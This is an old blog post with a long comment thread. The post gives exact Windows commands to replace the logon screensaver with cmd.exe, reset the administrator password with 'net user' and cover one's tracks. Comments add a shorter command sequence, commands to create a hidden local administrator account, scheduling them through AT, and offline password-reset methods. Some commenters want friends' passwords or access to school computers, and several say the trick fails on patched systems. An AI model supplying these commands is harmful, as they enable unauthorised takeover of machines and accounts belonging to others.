Subscribe to
Posts
Comments

This is a cool little computer trick for Microsoft Windows trick I’ve picked up in my travels and decided to share it with you fine and ethical individuals =). Log in and go to your DOS command prompt and enter these commands exactly:

cd\
cd\windows\system32
mkdir temphack
copy logon.scr temphack\logon.scr
copy cmd.exe temphack\cmd.exe
del logon.scr
rename cmd.exe logon.scr
exit

So what you just told windows to backup is the command program and the screen saver file. Then you edited the settings so when windows loads the screen saver, you will get an unprotected dos prompt without logging in. When this appears enter this command that’s in parenthesis (net user password). So if the admin user name is Doug and you want the password 1234 then you would enter “net user Doug 1234″ and now you’ve changed the admin password to 1234. Log in, do what you want to do, copy the contents of temphack back into system32 to cover your tracks.

hacking for dummies

RSS feed | Trackback URI

237 Comments »

Comment by Mike McCormick
2006-11-02 18:17:35
MyAvatars 0.2

Does putting the two files back restore the admin’s original password? Or will the admin not be able to log in afterwards?

Comment by poochee
2007-01-25 14:31:56
MyAvatars 0.2

hi guys…pls teach how to make windows xp not to log on after a month or two months…pls

 
Comment by anom Subscribed to comments via email
 
Comment by Joshua Subscribed to comments via email
2007-04-18 20:50:24
MyAvatars 0.2

My command prompt doesnt work anymore i keep getting an error that says windows can not find cmd. Check the name? Whats going on. I did all that above and now nothing works. Thanks.
*JoSh*

Comment by mike Subscribed to comments via email
2007-11-25 10:16:05
MyAvatars 0.2

yo, you can go to run and type in command prompt hit enter and it should open it in a different way so that wont happen anymore

 
Comment by darkmanxxx Subscribed to comments via email
2008-01-04 08:43:01
MyAvatars 0.2

man the problem is your computer may have got a virus which first destroyed the cmd.exe file.so please first try to scan your computer with either updated F-Secure or Kaspersky new version

 
Comment by anonymous Subscribed to comments via email
2008-04-07 15:54:07
MyAvatars 0.2

You can go to note pad or open windows internet explorer and right click and clikc source then when one of those is open type command.com then save the file as Anything You Want.bat then close ti and open it again for a command promt!

 
Comment by KK Raj Subscribed to comments via email
2008-04-12 22:22:02
MyAvatars 0.2

Install “avira” antivirus in ur system

 
 
Comment by Joshua Subscribed to comments via email
2007-04-18 20:53:51
MyAvatars 0.2

My command prompt doesnt work anymore i keep getting an error that says windows can not find cmd. Check the name? Whats going on. I did all that above and now nothing works. Thanks for the help!
*JoSh*

Comment by Teece Subscribed to comments via email
2007-06-18 13:47:58
MyAvatars 0.2

type “command” if “cmd” doesn’t work.
also “command.com” or “cmd.com” one of those four should work.
if it doesnt work u can email me for help
(teecehunter@yahoo.com)

 
Comment by Mechwarrior5 Subscribed to comments via email
2007-11-07 09:00:40
MyAvatars 0.2

It’s because you renamed your cmd.exe to logon.scr, what you need to do is take cmd.exe and logon.scr out of the temphack folder you made and put them back into the system32 folder.

Comment by Duckii
2008-02-12 22:16:00
MyAvatars 0.2

and how do u move ur temphack folder bak to ur system32 folder?

(Comments wont nest below this level)
 
 
 
Comment by Daredevil Subscribed to comments via email
2007-09-19 23:35:39
MyAvatars 0.2

Hey but that does’nt work bcoz my administrator deny the access even to change the name of the file …or delete the file

 
Comment by mano Subscribed to comments via email
2007-10-20 05:12:20
MyAvatars 0.2

Does putting the two files back restore the admin’s original password? Or will the admin not be able to log in afterwards?

 
Comment by cred911 Subscribed to comments via email
2007-10-29 02:41:49
MyAvatars 0.2

not working.. access denied :(

 
Comment by cred911 Subscribed to comments via email
2007-10-29 02:46:17
MyAvatars 0.2

not working… access denied :( can’t chang password.. net user administrator * :( without login as power user :( :(

 
Comment by matt Subscribed to comments via email
2008-03-20 02:52:35
MyAvatars 0.2

wat is DOS

 
 
Comment by Quinn Zerfas
2006-11-02 19:20:15
MyAvatars 0.2

Yes, you are backing up theri login info, deleteing and making your own to get access. Puting the temphack files back is going to change restore the original information

 
Comment by zambuka
2006-11-02 21:25:32
MyAvatars 0.2

uh.. no. First of all this is old. Second of all.. the original password WILL NOT be restored. Do you honestly think password hashes are stored in the command prompt executible or the screensaver????? Come on.. if you are going to give ‘hacking’ advice.. make sure you actually know what you’re talking about. So… where did you copy this info from?

 
Comment by Chris
2006-11-02 21:59:45
MyAvatars 0.2

Mike, no, restoring the files won’t restore the original password. The one you just created will still be in effect.

Quinn, you are just backing up the tools used to change the password. The “net password” actually changes the password in another part of the machine that you haven’t touched yourself.

 
Comment by Black Ratchet
2006-11-02 22:03:45
MyAvatars 0.2

No. You’re wrong. Once you change the local admin’s password, thats all she wrote. Unless you know his/her password already (so you can change it back), once you change it, it’s gone from the system.

Also, this breach won’t work if the system has NTFS as the file system, unless you have administrative rights, you won’t be able to delete logon.scr

This post is full of holes.

If you want to learn about /real/ hacking, check out Binary Revolution.

 
Comment by mhweaver
2006-11-02 22:42:53
MyAvatars 0.2

No it won’t. You are replacing the screensaver (logonlscr) with a command prompt (cmd.exe). Putting the files back just puts the screensaver back the way it was, but not changing any other settings back.

The downside to this is you still need to be able to log in to move the files around :\

 
Comment by Dan Kordik
2006-11-02 22:49:56
MyAvatars 0.2

a slightly shorter way of doing the same thing:

cd\
cd\windows\system32
mkdir temphack
move logon.scr temphack\logon.scr
copy cmd.exe logon.scr
exit

Comment by fan Twen Subscribed to comments via email
2007-02-18 09:30:44
MyAvatars 0.2

This do not work with XP with a domain
can not move or delete logon.scr

if you have a solution to erase the admin password of my HP portable, i would be a,lot gratefull to you

 
 
Comment by Jim
2006-11-02 22:50:00
MyAvatars 0.2

Why don’t you just delete sam that is the easiest admin password hack.

 
Comment by luser
2006-11-02 23:23:49
MyAvatars 0.2

logon.scr is a protected file, you need admin privs to delete it. IF you already have admin privs needed to do this, then you could just change the administrator password yourself.

So, this isn’t really a hack.

 
Comment by Ivanmarsh
2006-11-03 00:27:01
MyAvatars 0.2

A hack that requires you to be logged into the machine to set up the hack isn’t a hack. If you’re already logged into the machine what do you need the hack for?

Comment by Skeletor
2008-01-20 15:55:51
MyAvatars 0.2

You are logged into the machine but not with administrative privileges. That’s what you need the hack for. And a brain, while you are at it.

 
 
Comment by Mark
2006-11-03 00:49:09
MyAvatars 0.2

I wrote a simpler way to do this a long time ago. If you have ANY admin access, you can just use the command to change any other user’s password without knowing it. This was all previously covered @
http://www.allthingsmarked.com/2006/08/21/change-your-xp-password-via-the-command-line/

 
Comment by Roman
2006-11-03 01:53:02
MyAvatars 0.2

I tried on computer in A+spec class with restricted access it doesn’t work when i tried to make directory temphack it says access denied HELP

 
Comment by naxo
2006-11-03 11:49:16
MyAvatars 0.2

try this http://ophcrack.sourceforge.net/. Works perfectly.

 
Comment by Anonymous NT Shaman
2006-11-03 11:52:29
MyAvatars 0.2

Brilliant! You just wiped the admins’s password and he’s going to be quite cross with you!

The two files you’ve copied DO NOT contain the Admin’s password which you can’t get that way.

You’d have to use something like the NTBACKUP and have it save the registry (System State). Restoring the registry, would of course wipe your hacked account.

You’re better off doing something like this instead:

net user i0wnU SkR1ptK!ddY /add
net localgroup Administrators i0wnU /add

This won’t add you to the domain, but will add you to the local machine.

Also, you’ll find that on a properly hardened system, you will not have permissions to overwrite the screensaver.

However, if you are allowed to run the windows scheduler via the AT command, you can schedule the above net commands to do the same thing without messing about with the screen saver. (Provided the scheduler runs as the SYSTEM or an Admin)

i.e.

AT 06:06 NET USER ….
AT 06:07 NET LOCALGROUP …

And Bob’s your uncle.

Cheers!

 
Comment by Brian Snipes
2006-11-03 14:04:18
MyAvatars 0.2

Wouldn’t you have to already have administrator privileges in order for this to work? I wouldn’t think a user that was only in the Users group would have permissions to overwrite those file on an NTFS filesystem. Perhaps the filesystem is FAT32?

 
Comment by Gv
2006-11-03 17:21:27
MyAvatars 0.2

Ever heard of ERD commander?…. that would be much easier if you can’t into the comp to begin with do to a lock out … :)

Comment by learning Subscribed to comments via email
2007-08-07 14:11:27
MyAvatars 0.2

Hello I see that you had offered some advice to someone back in 2006 about my loERD commander i have the software. We’ll what my problem is. I have a hard drive that i am trying to access but it is protected with a bios password. How can i get around it with the locksmith or can you tell me what script i should be looking for in command line once opened in notepad so i can change the value of 0 or 1 i don’t want to overwrite the hard drive. Any feed back would be greatly appreciated.

Thanks in advance!!!

 
 
Comment by gordon
2006-11-03 17:51:18
MyAvatars 0.2

Normal system user does not have rights to copy, move , ren files in sys32. So useless useless you have rights to the C:.

 
Comment by exceed
2006-11-03 17:59:31
MyAvatars 0.2

This only works in Windows 2000 and prior. Does not work in XP/2003. You must have Admin rights to modify files/folders in %SYSTEMROOT%\System32 directory in XP/2003.

Anyway, once you have physical access to machine use: http://home.eunet.no/~pnordahl/ntpasswd/bootdisk.html

 
Comment by Surferbill
2006-11-07 08:37:39
MyAvatars 0.2

It’s a nice idea if you stick this on a USB stick and were scouring the school/office for unlocked, unattended PCs. As mentioned there are many better ways, but certainly this line would expose you straight away:

rename cmd.exe logon.scr

In effect you’ve moved cmd.exe meaning nobody on the machine can open a command prompt. Oops. :)

 
2006-11-07 19:45:05
MyAvatars 0.2

[...] To give you an idea of what does well on which sites, I will use my articles as example. This article about a simple Windows XP hack that my friend wrote did amazingly well on Digg and Reddit. They happened to both hit the homepage at the same time, which resulted in my site being down for an entire day. Simple cool tricks like this tend to do well on a lot of Digg-like sites. On Fark however, it did not get approved simply because it wasn’t funny in any way. This story was another big hit. It reached the homepage of Digg to later get buried (guess Diggers don’t like stuff like this) but did extremely well on Fark generating upwards of 6000 unique clicks. [...]

Comment by edwine Subscribed to comments via email
2008-01-07 04:38:35
MyAvatars 0.2

hello
i want to know how hack software and how have login

 
Comment by MLADUSER Subscribed to comments via email
2008-04-15 10:54:35
MyAvatars 0.2

I don’t even know English so good, but I can tell you guyz that nothing of what you wrote works !!!
It works just if you are logged in with administrator account and you want to hack yourself … hahaha prety smart :(

neither the cd which changes the users passwords work
’cause may be the stupid admin set a password on the BIOS,
so you cant make it boot, and probably you don’t want him to see you breaking apart his notebook pc to pull out the battery
for 1 min.

notice that the most competent administrators are securing very well, so you dont have access to wherever the OS is installed, you cant make,del,rename folders and shi*,kill tasks..
you dont even see that..
Allthought the shi* you are talking about just does not works very well.
I hope next time I visit you’ll come up with something better…

MLADUSER

 
 
Comment by eric
2006-11-11 01:25:47
MyAvatars 0.2

Nope. This does works on Windows XP (Most of the time). Some computers deny access while others do not. Luckily, our schools computers all have DeepFreeze so all I need to do to remove traces is to restart the computer.

 
Comment by Mike
2006-11-11 02:28:35
MyAvatars 0.2

Now, to turn this into a useful function quickly (lost admin password.. mistyped admin password, admin is AWOL) you could boot a nice Linux kernal, mount NTFS, and make the quick file change(s) that would then allow you to assign a new admin password.

I’ve never attempted to do this, but am going to file it away as a quick way to clean up a bad problem. I have had to pull a file from a PC and send it somewhere to have them hack the SAM file.

Comment by fan Twen Subscribed to comments via email
2007-02-18 09:48:10
MyAvatars 0.2

My XP-Pro is in a domain, and the Linux-life cd do not find the harddisk !

 
 
Comment by Marc
2006-11-12 20:11:28
MyAvatars 0.2

If you are logged in as an administrator the easiest way to change any password, including THE administrator, is simply to run ‘control userpasswords2′ (without quotes) from a command prompt, then change at will.
If I can’t even get into the beast as an administrator I use a linux bootdisk which allows me to reset any password. If there’s another way I’d be delighted to learn it here.

Comment by wags Subscribed to comments via email
2008-04-19 16:46:25
MyAvatars 0.2

I tried many of the above options on my XP Pro version with Novell and yours worked great. I enter the ‘control userpasswords2′ command and was able to change the administrator password. Working for a school this is great for all the donated computers we get. Thank you!

 
 
Comment by Mongo Joe
2006-11-12 22:18:03
MyAvatars 0.2

Just restart the friggin machine and press f8 to log in under safe mode with networking. Then log in under the administrator whcih is usually passwordfree. Create you own username and then restart with admin privelages. Do whatever u want then restart with f8 safemode, go under administrator and delete the account u made!!!! wtf!! :) or use this service– http://www.loginrecovery.com

Comment by fan Twen Subscribed to comments via email
2007-02-18 09:57:05
MyAvatars 0.2

This do not work with XP in a domain

if you have a better solution,
i wil be grateful to here about

 
 
Comment by chad
2006-11-13 00:31:05
MyAvatars 0.2

actually there is a way to do this without logging in. you could use a windows 2000 installation disk and boot into the repair console to run the commands. while it is a windows 2000 disk, you can still use it to log into an xp installation. also a repair console from a windows xp disk will ask you for the administrator password whereas a win2k disk will not.
-cheers!

 
Comment by Nick
2006-11-13 01:17:28
MyAvatars 0.2

On our school computers,we have XP, but on the accounts that we log into are not the administrator accounts, so, they’ve locked us out of the Dos/Command prompt - Since we cannot access the command prompt, how can we bypass that?

Comment by michael Subscribed to comments via email
2007-06-21 14:18:05
MyAvatars 0.2

you can create a batch file and have it say

” call c:\windows\system32\command”

Comment by the man Subscribed to comments via email
2008-04-15 18:23:28
MyAvatars 0.2

ok so this a pretty dumb question.. but the slashes r reverse and i really cant find it.. how do i tyoe that in?

 
 
 
Comment by Nick
2006-11-13 01:19:45
MyAvatars 0.2

And on a side note - Logging into safemode period - the admin’s have disabled the “add a new user” thing - so therefore, I don’t think we can create a new user.

 
Comment by Mike
2006-11-13 14:17:09
MyAvatars 0.2

This will not work on XP (SP2 at least). The SYSTEM account no longer has the required access as it once had. Microsoft closed this hole. SYSTEM runs at a user level so when you try this hack you should receive SYSTEM ERROR 5 access denied or something to that effect.

Use the bootable Linux Offline password editor to “blank” the admin password. Works everytime, doesn’t require admin access, doesn’t require you to know the local admin name and is safe to use. I’ve used it multiple times for legit reasons when we needed to access laptops and desktops where the local admin wasn’t known or the account had been locked out. Hint: if you use this tool just change the local admin password to blank and don’t try setting one.

Enjoy…

Comment by fan Twen Subscribed to comments via email
2007-02-18 10:00:30
MyAvatars 0.2

This works not on my HP portable with XP-Pro with a domain

Linux can not find the HDD

the same occurs when i use a XP-cd to reinstall: no harddisk found

Comment by leox Subscribed to comments via email
2008-03-18 22:37:50
MyAvatars 0.2

the reason why ur windows xp shows hard disk not found is bcos of the coruption of ur win xp.
so first go to boot screen and then change the hard disk mode to ide enabled

 
 
 
Comment by Fred
2006-11-13 14:35:05
MyAvatars 0.2

Any windows user worth their salt will be using NTFS and will have encrypted any security sensitive files.

Resetting the Admin password may allow access to NTFS but not encrypted files. For this the public and user keys are required.

Now a hack that allowed the Admin account password to be hacked whilst allowing permission securities to remain in place would be worth writing about!

 
Comment by VecZ
2006-11-13 16:57:01
MyAvatars 0.2

Come on guys. You use the old ways. I use a USB flash or CD boot drive to bypass anything MS can secure. This boot drive uses its own operating system against it allowing me to write to the SAM as an unprotected file without corruption. Most newer mobo BIOS support booting from an alternate source without entering the BIOS. I can even fix bad boot records, copy any files I want, delete any files I want. So get with the program.

 
Comment by sunny_hacker
2006-11-14 06:08:09
MyAvatars 0.2

goto run. and type cmd
command promt appears.
type, net user

then type, net user adminis name *
password change option will come
change it and u have hacked xp

Comment by travis Subscribed to comments via email
2007-04-13 16:00:08
MyAvatars 0.2

hae wen u do this the password option does not come up so therfore cannot change password.

my dad is the administrator and the only one with administrtive rights but he used a password that he hadnt used before that only he knew and now he cant remember it. is ther anything i can do to change his password

Thanks

 
 
Comment by Marc
2006-11-15 00:11:30
MyAvatars 0.2

OK, so we seem to have established that we can use Linux to blank or change the Administrator password (but thereby lose access to any encrypted files owned by the Administrator, until the password is changed back to its original setting) - Or we can change the Administrator password so long as we are logged into another account with administrator privileges. How can we find out the Administrator password without resetting it or having administrator privileges?

 
2006-11-17 00:14:19
MyAvatars 0.2

[...] Here is another great (simple) hack from the mind behind this story . It is a very simple way for Google to send you anyones Gmail password, and it is done in 5 steps! I can’t wait for the comments on this one. Here ya go: [...]

 
Comment by yid
2006-11-19 09:28:01
MyAvatars 0.2

i wanna have my friend’s pass

 
Comment by lt
2006-11-19 09:34:26
MyAvatars 0.2

i want to hack a friend’s password

 
Comment by Rich
2006-11-19 18:08:37
MyAvatars 0.2

Guys we are not getting the answer, how do we hack the Local Admin password or else how do we give ourselves local admin right? Without knowing existing Admin password

 
Comment by FLo
2006-11-22 10:33:24
MyAvatars 0.2

Thanks for the tip